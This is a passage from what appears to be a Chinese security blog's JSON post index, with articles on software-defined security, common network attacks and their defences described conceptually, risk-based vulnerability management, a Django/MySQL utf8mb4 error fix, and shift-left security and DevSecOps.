SDSec通过软件定义的方式提供了更灵活、智能和高效的安全解决方案，尤其适合于需要频繁更新和动态调整安全策略的现代网络环境。然而，与传统安全产品相比，SDSec在技术成熟度、部署复杂性和对网络基础设施的依赖性等方面可能存在一些挑战和限制。\n需要注意的是，软件定义安全理念从逻辑上和架构上是涵盖了传统安全与云计算安全的，前者是从改变安全技术架构去提高安全管理效率，提升安全运营的 价值，而后者则是区别于安全落地的不同场景。因此软件定义安全同样适用于传统 IT 环境，如果做到了构建统一的上层管理平台，使其具备开放接口，下层各类安全 组件资源可受上层管理应用进行编排、计量等手段统一关联起来，那么这套安全防 护体系也可认为是由软件定义的。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-07-09-%E4%BB%80%E4%B9%88%E6%98%AF%E8%BD%AF%E4%BB%B6%E5%AE%9A%E4%B9%89%E5%AE%89%E5%85%A8sdsec/","summary":"\u003ch2 id=\"一软件定义安全sdsec产生的背景\"\u003e一、软件定义安全SDSec产生的背景\u003c/h2\u003e\n\u003cp\u003e软件定义安全（Software Defined Security，SDSec）的产生背景主要源于传统网络安全防护方法在面对复杂网络环境时的不适应性，以及软件定义网络（SDN）技术的发展和应用。\u003c/p\u003e","title":"什么是软件定义安全SDSec"},{"content":"网络安全威胁的不断演变和增长，网络攻击的种类和数量也在不断增加，攻防对抗实战演练在即，让我们一起了解一下常见网络攻击方式及防御方法。\n1. DDOS攻击（分布式拒绝服务攻击） 借助于C/S（客户端/服务器）技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDOS攻击，从而成倍地提高拒绝服务攻击的威力。 防护方法： 所有的主机平台都有低于DDOS的设置，基本的有：\n关闭不必要的服务 限制同时打开的syn半连接数目 缩短syn半连接的time out时间 及时更新补丁 网络设置： 防火墙 禁止对主机的非半开服务的访问，限制SYN的连接数和IP访问 路由器 设置SYN数据包流量速率 2. UDP洪水攻击 利用含有udp数据包的ip数据包对目标主机上的随机端口进行饱和攻击，由于udp流量不需要像tcp那样三次握手，可以低成本的运行。这种特质也使得udp非常脆弱，更容易被滥用，一些udp洪水攻击能够利用dns方法攻击的形式实施。 防护方法： 根据业务UDP最大包长设置UDP最大包大小以过滤异常流量。 建立UDP连接规则，要求所有去往该端口的UDP包，必须首先与TCP端口建立TCP连接。\n3. Smurf攻击 攻击者向网络广播地址发送ICMP包，并将回复地址设置成受害网络的广播地址，通过使用ICMP应答请求数据包来淹没受害主机的方式进行，最终导致该网络的所有主机都对次ICMP应答请求作出答复，导致网络阻塞。更加复杂的Smurf攻击攻击将源地址改为第三方受害者，最终导致第三方崩溃。 防护方法： 1.配置路由器禁止IP广播包进网 2.配置网络上所有计算机的操作系统，禁止对目标地址为广播地址的ICMP包响应 3.对于从本网络向外部网络发送的数据包，本网络应该将其源地址为其他网络的这部分数据包过滤掉\n4. CC攻击 CC攻击利用代理服务器向网站发送大量需要较长计算时间的URL请求，如数据库查询等，导致服务器进行大量计算而很快达到自身的处理能力而形成DOS，而攻击者一旦发送请求给代理后就主动断开连接，因为代理并不因为客户端这边连接的断开就不去连接目标服务器，因此攻击机的资源消耗相对很小，而从目标服务器看来，来自代理的请求都是合法的。 防护方法： CC有效性在于攻击方不接受服务器回应的数据，发送完请求后就主动断开连接，因此要确认连接是否是CC，服务器端不立即执行URL请求命令，而是简单的返回一个页面转向的回应，回应中包含新的URL请求地址，如果是正常访问，客户端会主动再次连接到转向页面，对用户来说是透明的;而对于CC攻击者，由于不接收回应数据，因此就不会重新连接，服务器也就不需要进行查询操作。\n5. ARP攻击（中间人攻击） 通过伪造IP地址和MAC地址实现ARP欺骗，能够在网络中产生大量的ARP通信量使网络阻塞，攻击者只要持续不断的发出伪造的ARP相应包就能更改目标主机ARP缓存中的IP-MAC条目，造成网络终端或中间人攻击。 防护方法：\n网关和终端双向绑定IP和MAC地址 局域网中的每台电脑中进行静态ARP绑定 打开安全防护软件的ARP防火墙功能 彻底追踪查杀ARP病毒 6. 邮件钓鱼 利用伪装的电邮，欺骗收件人将账号、口令等信息回复给指定的接收者；或引导收件人连接到特制的网页，这些网页通常会伪装成和真实网站一样，如银行或理财的网页，令登录者信以为真，输入信用卡或银行卡号码、账户名称及密码等而被盗取。 防护方法：\n不点击不知来源的邮件和附件 在邮箱服务端安装安全软件，开启SPF策略 安装个人电脑杀毒软件 拓展： 鱼叉攻击 攻击者将木马程序作为电子邮件的附件，并起上一个极具诱惑力的名称，发送给目标电脑，诱使受害者打开附件，从而感染木马。 水坑攻击 攻击者分析攻击目标的上网活动规律，寻找攻击目标经常访问的网站的弱点，先将此网站“攻破”并植入攻击代码，一旦攻击目标访问该网站就会“中招”。 7. WIFI钓鱼 WIFI钓鱼是一种新型的无线网络攻击方式，将中间人攻击和钓鱼攻击相结合，选定目标路由器后，将连接到路由器上的客户端全部强制退出重新登录。当用户再次登录时，会连接到假冒的路由器上，弹出登录窗口，并要求用户输入无线网络的用户名和密码来更新路由器硬件，从而盗取用户的账号密码等信息。 防护方法： 1.不连接公共场所的wifi，重要文件用手机热点发送 2.路由器定期更换密码 3.路由器定期升级\n8. 挖矿木马 由于区块链技术热炒以及数字货币的推广运营，如比特币、以太币等层出不穷的数字货币各种热炒，在这些的利益驱使下便出现各种模式的挖矿木马程序，挖矿木马主要就是通过利用各种手段，将挖矿程序植入到用户的计算机中，在用户不知情的情况下，偷偷利用用户的计算机进行执行挖矿功能，从而获取收益。 用户中木马的常见方式： 1.用户往往在不注意的时候，下载并运行了来历不明的破解软件或不安全软件 2.用户点击运行了钓鱼邮件中的附件的文件 3.用户没有做好系统及时更新，通过系统漏洞传播 4.用户浏览了植入挖矿脚本的网页，浏览器就解析脚本进行挖矿 防护方法： 1.在计算机中安装病毒查杀软件(火绒、360杀毒)，并及时更新病毒查杀软件的病毒库，还需做好定时全盘查杀病毒。 2.及时做好计算机系统补丁的更新。 3.服务器、主机、数据库等使用高强度的密码口令，切勿使用弱口令，防止被暴力破解。 4.网络上不要去随意下载、运行来历不明的程序或者破解程序，不随意点击来历不明的链接。\n9. 0day攻击 0day漏洞是指攻击者最新发现的，厂家还未发布补丁，在网络上还未公布的系统或应用程序新漏洞。 防护方法： 1.安装实时监控和主动防御设备 2.实施网络边界防范 3.加固终端系统 4.加强网络基础设施的安全\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-07-04-%E5%B8%B8%E8%A7%81%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%E5%8F%8A%E9%98%B2%E5%BE%A1%E6%96%B9%E6%B3%95/","summary":"\u003cp\u003e网络安全威胁的不断演变和增长，网络攻击的种类和数量也在不断增加，攻防对抗实战演练在即，让我们一起了解一下常见网络攻击方式及防御方法。\u003c/p\u003e\n\u003ch2 id=\"1-ddos攻击分布式拒绝服务攻击\"\u003e1. DDOS攻击（分布式拒绝服务攻击）\u003c/h2\u003e\n\u003cp\u003e借助于C/S（客户端/服务器）技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDOS攻击，从而成倍地提高拒绝服务攻击的威力。\n\u003cstrong\u003e防护方法：\u003c/strong\u003e\n所有的主机平台都有低于DDOS的设置，基本的有：\u003c/p\u003e","title":"常见网络攻击方式及防御方法"},{"content":"一、什么是漏洞管理 安全漏洞是网络或网络资产的结构、功能或实现中的任何缺陷或弱点，黑客可以利用这些缺陷或弱点发起网络攻击，获得对系统或数据的未经授权的访问，或以其他方式损害组织。常见漏洞的示例包括可能允许某些类型的恶意软件进入网络的防火墙配置错误，或可能允许黑客接管设备的操作系统远程桌面协议中未修补的错误。\n漏洞管理是指通过对网络系统中的漏洞进行识别、评估、修复、验证等一系列操作，以保障系统的安全性。这一过程是IT风险管理的一个子领域，主要关注组织IT基础设施和软件中的安全漏洞。\n关于漏洞的分类及漏洞管理参见《安全运营之漏洞管理》\n二、什么是基于风险的漏洞管理RBVM 传统的漏洞管理方法通常依赖于扫描工具来发现漏洞，然后按照某种顺序（如时间顺序或严重程度）进行修复。随着技术的快速发展和数字化转型的推进，网络系统和应用程序的复杂性日益增加，导致安全漏洞的数量也呈现爆炸式增长。面对不断增长的漏洞列表和警报，安全团队很容易陷入警报疲劳，难以判断哪些漏洞是真正需要优先处理的。\n而RBVM（Risk-based Vulnerability Management）是基于风险的漏洞管理，RBVM方法不是简单地修补所有漏洞，而是关注那些实际可利用的、对组织构成风险的漏洞。这种方法通过分析内部资产、攻击者活动以及威胁情报馈送（特别是漏洞情报），来确定哪些漏洞是需要优先处理的。是一种更加智能化和策略性的方法来识别、评估、优先级排序和修复组织中的安全漏洞。\nRBVM的核心在于更好地了解和评估风险，通过综合考虑漏洞的严重性、可利用性、资产价值等因素，确定每个漏洞的风险等级，并据此制定修复策略。这种方法能够帮助安全团队集中资源处理那些真正高风险的漏洞，提高漏洞管理的效率和效果。\n三、RBVM的基本流程 RBVM（基于风险的漏洞管理）与传统漏洞管理的识别、评估、修复、验证相比是多了资产识别、风险评估和优先级排序。RBVM的基本流程如下：\n1. 资产识别\n列出组织内的所有关键资产，包括硬件、软件、数据和网络等。 对每个资产进行分类，如生产环境、测试环境、非关键业务系统等。 确定每个资产的重要性级别，如高、中、低。 2. 漏洞发现\n使用自动化漏洞扫描工具对关键资产进行定期扫描。 结合手动渗透测试，发现可能存在的未知漏洞。 订阅外部漏洞情报服务，获取最新的漏洞信息。 3. 风险评估\n对每个发现的漏洞进行风险评估，包括严重性、可利用性、资产重要性等因素。 使用脆弱性优先级技术（Vulnerability Prioritize Technology–VPT）、CVSS（Common Vulnerability Scoring System）或其他风险评估框架进行评分。 结合威胁情报，评估漏洞被利用的可能性和潜在影响。 4. 优先级排序\n根据风险评估结果，将漏洞按照风险级别进行排序。 优先处理高风险漏洞，确保关键资产的安全。 对于中低风险漏洞，制定缓解措施或监控计划。 5. 修复和缓解\n对于高风险漏洞，立即制定修复计划并实施。 对于无法立即修复的漏洞，制定缓解措施，如限制访问权限、部署防火墙规则等。 与供应商和社区保持沟通，获取漏洞修复的最新信息。 6. 监控和重新评估\n定期对已修复的漏洞进行验证，确保漏洞已被成功修复。 监控新的漏洞和威胁情报，及时更新风险评估和优先级排序。 定期对RBVM流程进行审查和更新，以适应组织环境的变化。 RBVM策略将帮助我们优先处理那些对组织构成最大威胁的漏洞，从而在有限的资源下实现最大的安全效益。\n四、RBVM的特点和优势 RBVM是一种更为精细化和策略性的方法，旨在识别、评估、优先级排序和修复那些对组织构成最大风险的漏洞。与传统的漏洞管理方法相比，RBVM具有以下区别：\n风险评估：传统的漏洞管理通常侧重于发现和修复所有检测到的漏洞，而不考虑这些漏洞对组织的实际风险。而RBVM则根据漏洞的严重性、可利用性、资产的重要性以及威胁的紧迫性等因素，对漏洞进行风险评估，以确定修复的优先级。 资源优化：由于RBVM侧重于修复高风险的漏洞，因此它可以帮助组织更有效地分配资源。组织可以将有限的资源集中在那些对业务影响最大的漏洞上，而不是盲目地修复所有检测到的漏洞。 业务上下文：RBVM将漏洞管理置于业务上下文中，考虑漏洞对组织业务运营和战略目标的影响。这种方法使组织能够更清楚地了解哪些漏洞是需要优先处理的，以确保业务连续性和合规性。 持续监控和评估：RBVM强调对漏洞的持续监控和评估。它使用自动化工具和流程来跟踪漏洞的状态，包括已知漏洞的发布、修复和再利用等。此外，RBVM还利用威胁情报来识别新的攻击向量和漏洞，以便及时调整漏洞管理策略。 威胁情报整合：RBVM将威胁情报与漏洞管理相结合，以便更准确地评估漏洞的风险。威胁情报提供了关于攻击者行为、目标、工具和技术的信息，这些信息有助于组织识别那些可能被攻击者利用的漏洞。 优先级排序：RBVM使用风险评估结果来确定漏洞修复的优先级。这有助于组织在有限的资源下，优先处理那些对业务影响最大的漏洞。与传统的漏洞管理方法相比，这种方法更加灵活和有效。 RBVM的优点\n资源优化：通过优先处理高风险的漏洞，RBVM可以帮助组织更有效地分配资源，确保在有限的资源下取得最大的安全效益。 业务连续性：RBVM关注业务上下文与业务的关联性强，确保在修复漏洞的过程中不会中断关键业务操作或影响用户体验。 提高安全性：通过持续监控和评估漏洞风险，RBVM可以帮助组织及时发现并修复潜在的安全隐患，提高整体安全性。 RBVM 在传统漏洞管理的基础上，进一步引入了资产攻击面、 漏洞情报、威胁情报等多维度数据 ，以脆弱性优先级技术（Vulnerability Prioritize Technology – VPT）对漏洞进行打分 与评级。如此一来，安全团队需要面对的“高危”、“严重”漏洞的范围与数量大大缩小，漏洞不再只是漏洞，而是与业务连续性、 资产关键性等联系更加紧密的脆弱点。安全团队可以更加主动地协调运维、业务部门率先修复高优先级的脆弱点。\nRBVM 的主要价值在于，避免那些最需要优先被关注的可能带来巨大风险的漏洞淹没在海量漏洞告警中，转而让安全团队能够优先考虑优先级更高的关键漏洞。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-06-13-%E4%BB%80%E4%B9%88%E6%98%AF%E5%9F%BA%E4%BA%8E%E9%A3%8E%E9%99%A9%E7%9A%84%E6%BC%8F%E6%B4%9E%E7%AE%A1%E7%90%86rbvm%E5%8F%8A%E5%85%B6%E4%BC%98%E5%8A%BF/","summary":"\u003ch2 id=\"一什么是漏洞管理\"\u003e一、什么是漏洞管理\u003c/h2\u003e\n\u003cp\u003e安全漏洞是网络或网络资产的结构、功能或实现中的任何缺陷或弱点，黑客可以利用这些缺陷或弱点发起网络攻击，获得对系统或数据的未经授权的访问，或以其他方式损害组织。常见漏洞的示例包括可能允许某些类型的恶意软件进入网络的防火墙配置错误，或可能允许黑客接管设备的操作系统远程桌面协议中未修补的错误。\u003c/p\u003e","title":"什么是基于风险的漏洞管理RBVM及其优势"},{"content":"一、问题现象 今天在迁移hexo的.md博客文件到django的博客程序的时候报错了，具体报错信息如下。\n1 2 3 4 5 6 7 8 9 File \u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\django\\db\\backends\\mysql\\base.py\u0026#34;, line 75, in execute return self.cursor.execute(query, args) File \u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\MySQLdb\\cursors.py\u0026#34;, line 206, in execute res = self._query(query) File \u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\MySQLdb\\cursors.py\u0026#34;, line 319, in _query db.query(q) File \u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\MySQLdb\\connections.py\u0026#34;, line 254, in query _mysql.connection.query(self, query) django.db.utils.OperationalError: (1366, \u0026#34;Incorrect string value: \u0026#39;\\\\xF0\\\\x9F\\\\x98\\\\x82\\\\xE5\\\\x93...\u0026#39; for column \u0026#39;content\u0026#39; at row 1\u0026#34;) 后来发现是因为.md文件中的内容含有mysql不能识别4个字节的utf8编码的字符，抛出了异常。类似于这种4个字节☺、��\n二、解决办法 1、修改mysql的数据库的字符集和的字符集 修改数据库的字符集为utf8mb4\n修改字段的字符集为utf8mb4\n2、在djanog的mysql连接串属性中加入字符集为utf8mb4的设置 修改完成后，插入正常。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-05-30-django.db.utils.operationalerror-xf0-x9f-x9-%E6%8A%A5%E9%94%99%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/","summary":"\u003ch2 id=\"一问题现象\"\u003e一、问题现象\u003c/h2\u003e\n\u003cp\u003e今天在迁移hexo的.md博客文件到django的博客程序的时候报错了，具体报错信息如下。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e9\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eFile \u003cspan class=\"s2\"\u003e\u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\django\\db\\backends\\mysql\\base.py\u0026#34;\u003c/span\u003e, line 75, in execute\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e self.cursor.execute\u003cspan class=\"o\"\u003e(\u003c/span\u003equery, args\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  File \u003cspan class=\"s2\"\u003e\u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\MySQLdb\\cursors.py\u0026#34;\u003c/span\u003e, line 206, in execute\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e self._query\u003cspan class=\"o\"\u003e(\u003c/span\u003equery\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  File \u003cspan class=\"s2\"\u003e\u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\MySQLdb\\cursors.py\u0026#34;\u003c/span\u003e, line 319, in _query\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    db.query\u003cspan class=\"o\"\u003e(\u003c/span\u003eq\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  File \u003cspan class=\"s2\"\u003e\u0026#34;D:\\project\\pythonproject\\work\\ishareblog\\venv\\lib\\site-packages\\MySQLdb\\connections.py\u0026#34;\u003c/span\u003e, line 254, in query\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    _mysql.connection.query\u003cspan class=\"o\"\u003e(\u003c/span\u003eself, query\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edjango.db.utils.OperationalError: \u003cspan class=\"o\"\u003e(\u003c/span\u003e1366, \u003cspan class=\"s2\"\u003e\u0026#34;Incorrect string value: \u0026#39;\\\\xF0\\\\x9F\\\\x98\\\\x82\\\\xE5\\\\x93...\u0026#39; for column \u0026#39;content\u0026#39; at row 1\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"报错现象\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240529/1-%E6%8A%A5%E9%94%99%E7%8E%B0%E8%B1%A1.png\"\u003e\u003c/p\u003e","title":"django.db.utils.operationalerror:\\xF0\\x9F\\x9....报错解决办法"},{"content":"一、传统软件开发面临的安全挑战 传统软件开发面临的安全挑战主要包括以下几个方面：\n安全意识和文化的缺乏：在传统软件开发过程中，往往缺乏对安全性的足够重视和深入理解。开发团队可能更注重功能的实现和交付时间，而忽视了安全性在软件开发过程中的重要性。这种缺乏安全意识和文化的环境使得软件容易受到各种安全威胁的攻击。 代码漏洞和缺陷：在软件开发过程中，由于人为错误、不安全的编程实践或缺乏足够的安全测试，代码中可能存在各种漏洞和缺陷。这些漏洞和缺陷可能被攻击者利用，从而实现对系统的未授权访问、数据泄露或系统破坏等攻击。 依赖的第三方组件和库的安全问题：传统软件开发通常依赖于各种第三方组件和库来加速开发过程。然而，这些第三方组件和库可能存在安全漏洞或已知的安全问题，如果未经过充分的安全验证和测试，就可能会被引入到软件中，从而给软件带来安全隐患。 安全的配置和管理：在软件开发和部署过程中，如果配置不当或管理不善，可能会导致安全问题。例如，错误的权限设置、不安全的网络连接、未加密的敏感数据等，都可能成为攻击者的目标。 应对新型攻击和威胁的能力不足：随着网络攻击技术的不断发展和新型威胁的出现，传统软件开发可能无法及时应对这些新型攻击和威胁。例如，零日漏洞、勒索软件、分布式拒绝服务攻击（DDoS）等新型攻击手段可能给软件带来严重的安全风险。 为了应对这些安全挑战，传统软件开发需要采取一系列措施来加强安全性。这包括提高开发团队的安全意识和技能、加强代码审查和测试、对第三方组件和库进行充分的安全验证和测试、实施安全的配置和管理等。此外，还可以引入安全左移等新的安全开发方法，将安全性作为软件开发的核心考量因素，从源头上降低安全风险。\n二、什么是安全左移 在传统的软件开发流程中，安全测试和评估通常在开发周期的后期进行，比如在测试阶段或部署前。然而，这种方法往往会导致在产品即将发布时才发现安全问题，从而增加了修复成本和风险。\n安全左移（Shift-Left Security）是一种软件开发实践，其核心思想是将安全措施提前到软件开发生命周期（SDLC）的更早阶段。安全左移的目标是在软件开发的早期阶段，甚至是在编码之前，就开始考虑和实施安全措施。这样，潜在的安全问题可以在它们变得更加根深蒂固和难以修复之前被发现和解决。\n三、安全左移与安全开发生命周期（SDL） 安全左移（Shift-Left Security）与安全开发生命周期（SDL, Security Development Lifecycle）紧密相关，是SDL中的一个重要概念。\n安全左移是一种在软件开发过程的早期阶段就引入安全考虑的实践，旨在帮助开发人员在代码被集成、测试、记录甚至发布之前，就能发现潜在的安全风险。这种方法的目标是提高安全任务的效率，并确保这些必要的任务不会遗留到开发周期结束。\nSDL由微软提出并应用一个帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程，侧重于软件开发的安全保证过程，旨在开发出安全的软件应用。其核心理念是将安全考虑集成在软件开发的每一个阶段，包括需求分析、设计、编码、测试和维护。SDL的目标是通过在各个阶段都增加相应的安全活动，来减少软件中漏洞的数量并将安全缺陷降低到最小程度。\n在安全左移与SDL的关系中，可以认为安全左移是SDL的一种实践方式。也就是说，通过实施安全左移，可以将SDL的理念和方法更好地应用到实际的软件开发过程中。安全左移强调在软件开发早期阶段就引入安全考虑，这与SDL将安全考虑集成在软件开发每个阶段的目标是一致的。\n四、安全左移对开发的挑战 安全左移对开发带来的挑战主要体现在以下几个方面：\n缺少计划：在实践安全左移过程中，缺少合理的规划和计划是最大的挑战之一。安全左移需要建立起安全意识与责任感，并将安全融入到开发团队的工作流程中。然而，由于缺乏明确的计划，许多企业仅仅执意进行左移，却忽略了安全规范和流程的制定，从而导致安全措施的不完善和应对漏洞的能力不足。 安全责任转嫁：安全左移的核心思想是将安全的责任从专门的安全团队转嫁给开发团队，让开发人员在软件开发过程中就能够考虑和实施必要的安全措施。然而，这种转嫁过程并不容易。开发团队通常关注的是项目的进度和功能的实现，对于安全知识和安全技能的掌握相对较弱。因此，企业需要通过定期的培训和教育，提高开发团队的安全意识和能力，使他们能够主动参与到安全左移的实践中。 技术和工具的选择：安全左移需要借助各种技术和工具来辅助实施，如自动化测试工具、安全扫描工具等。然而，如何选择和使用这些工具也是一个挑战。不同的工具有不同的适用场景和优缺点，需要根据实际情况进行选择和调整。同时，如何将这些工具与现有的开发流程相结合，也是需要考虑的问题。 平衡安全与进度：在安全左移的过程中，需要平衡安全与进度的关系。一方面，需要确保软件的安全性，避免潜在的安全漏洞和风险；另一方面，也需要保证项目的进度和交付时间。如何在保证安全的前提下，尽可能地提高开发效率，是安全左移需要解决的一个问题。 跨团队协作：安全左移需要跨团队协作，包括开发团队、安全团队和运维团队等。如何确保这些团队之间的有效沟通和协作，避免信息孤岛和沟通障碍，也是安全左移需要面临的挑战之一。 为了应对这些挑战，企业可以采取以下措施：\n制定全面的计划和策略：明确安全左移的目标和步骤，制定详细的计划和策略，确保安全左移的顺利实施。 加强培训和教育：提高开发团队的安全意识和能力，使他们能够更好地参与到安全左移的实践中。 选择合适的技术和工具：根据实际需求选择合适的技术和工具，确保它们能够有效地辅助安全左移的实施。 平衡安全与进度：在制定开发计划时充分考虑安全因素，确保在保证安全的前提下尽可能地提高开发效率。 加强跨团队协作：建立良好的沟通机制和协作机制，确保各个团队之间的有效沟通和协作。 五、从DevOps到DevSecOps 随着对软件安全性的要求不断提高，传统的DevOps模式开始面临挑战。什么是DevOps见《研发管理之认识DevOps》。为了确保软件在开发过程中的安全性，需要在DevOps的基础上引入安全性的考虑，这就是DevSecOps（Development，Security，Operations的组合词）的出现。\nDevSecOps是一种集开发、安全和运维于一体的新型软件开发和运营模式。它强调在快速迭代和持续交付的背景下，将安全性融入到整个软件开发过程中，实现开发、安全和运维的协同和一体化。在DevSecOps模式下，安全性不再是软件开发过程的一个附加环节，而是贯穿于整个开发流程中，从需求分析、设计、编码、测试到部署和维护的每个阶段都需要考虑安全性。\n与DevOps相比，DevSecOps具有以下优势：\n提高安全性：通过在开发过程中引入安全性的考虑，DevSecOps可以更早地发现和修复潜在的安全漏洞和缺陷，从而提高软件的安全性。 加速开发过程：DevSecOps通过自动化和标准化的安全流程，可以减少手动测试和修复安全漏洞的时间，从而加速开发过程。 提高团队协作效率：DevSecOps强调开发、安全和运维团队之间的紧密协作，可以提高团队协作效率，促进知识的共享和交流。 DevSecOps和DevOps在理念和实践上存在一些关键的区别，主要体现在以下几个方面：\n安全性集成：DevSecOps是“开发、安全和运营”的缩写，它强调在快速迭代和持续交付的背景下，将安全性融入到整个软件开发过程中。这意味着安全性是DevSecOps的一个核心组成部分，从软件开发的早期阶段就开始考虑并贯穿整个开发流程。而DevOps则更侧重于促进开发（Dev）和运维（Ops）团队之间的沟通与协作，虽然也关注安全性，但通常不是其首要关注点。 安全性防护：DevSecOps强调将安全性作为整个IT生命周期的共同责任，通过应用和基础架构的安全防护来确保软件的安全性。这包括在开发阶段进行安全编码实践、安全测试和漏洞扫描等，以及在运维阶段进行安全监控和事件响应等。而DevOps则更关注于提高开发和运维的协同效率，以及通过自动化和持续集成等技术手段来加速软件交付。 安全性实践：DevSecOps在安全性实践方面更加深入和全面，它要求在软件开发的全过程中都遵循安全最佳实践，包括安全需求分析、安全设计、安全编码、安全测试、安全部署和安全运维等。而DevOps虽然也关注安全性，但通常不会深入到这些具体的实践层面。 DevSecOps和DevOps都是为了提高软件开发和运维的效率和质量而出现的理念和实践，但它们在安全性方面的关注度和实践方式有所不同。DevSecOps更加强调安全性的重要性，并将其作为整个软件开发和运维流程的核心组成部分，而DevOps则更侧重于促进开发和运维团队之间的沟通与协作，以及通过自动化和持续集成等技术手段来加速软件交付。 六、SDL与DevSecOps SDL（Security Development Lifecycle）和DevSecOps（Development Security Operations）都是旨在加强软件开发过程中的安全性的方法论。SDL提供了一种系统化的方法来集成安全实践，而DevSecOps则提供了一种文化和实践框架，以支持SDL的安全实践在DevOps环境中的实施，DevSecOps可以看作是SDL在现代敏捷和DevOps环境中的扩展和适应，它强调了自动化和持续集成的重要性。\nSDL更侧重于安全措施的过程化和文档化，而DevSecOps更侧重于安全文化的推广和自动化工具的应用。 在SDL中，安全责任可能更侧重于安全团队，而在DevSecOps中，安全是开发、安全、运维团队共同的责任。 SDL可能更适合大型、长期、需求变化不频繁的项目，而DevSecOps更适合快速迭代、需求不断变化的环境。 博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-05-24-%E4%BB%80%E4%B9%88%E6%98%AF%E5%AE%89%E5%85%A8%E5%B7%A6%E7%A7%BB-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E5%AE%89%E5%85%A8%E5%B7%A6%E7%A7%BB/","summary":"\u003ch2 id=\"一传统软件开发面临的安全挑战\"\u003e一、传统软件开发面临的安全挑战\u003c/h2\u003e\n\u003cp\u003e传统软件开发面临的安全挑战主要包括以下几个方面：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e安全意识和文化的缺乏：在传统软件开发过程中，往往缺乏对安全性的足够重视和深入理解。开发团队可能更注重功能的实现和交付时间，而忽视了安全性在软件开发过程中的重要性。这种缺乏安全意识和文化的环境使得软件容易受到各种安全威胁的攻击。\u003c/li\u003e\n\u003cli\u003e代码漏洞和缺陷：在软件开发过程中，由于人为错误、不安全的编程实践或缺乏足够的安全测试，代码中可能存在各种漏洞和缺陷。这些漏洞和缺陷可能被攻击者利用，从而实现对系统的未授权访问、数据泄露或系统破坏等攻击。\u003c/li\u003e\n\u003cli\u003e依赖的第三方组件和库的安全问题：传统软件开发通常依赖于各种第三方组件和库来加速开发过程。然而，这些第三方组件和库可能存在安全漏洞或已知的安全问题，如果未经过充分的安全验证和测试，就可能会被引入到软件中，从而给软件带来安全隐患。\u003c/li\u003e\n\u003cli\u003e安全的配置和管理：在软件开发和部署过程中，如果配置不当或管理不善，可能会导致安全问题。例如，错误的权限设置、不安全的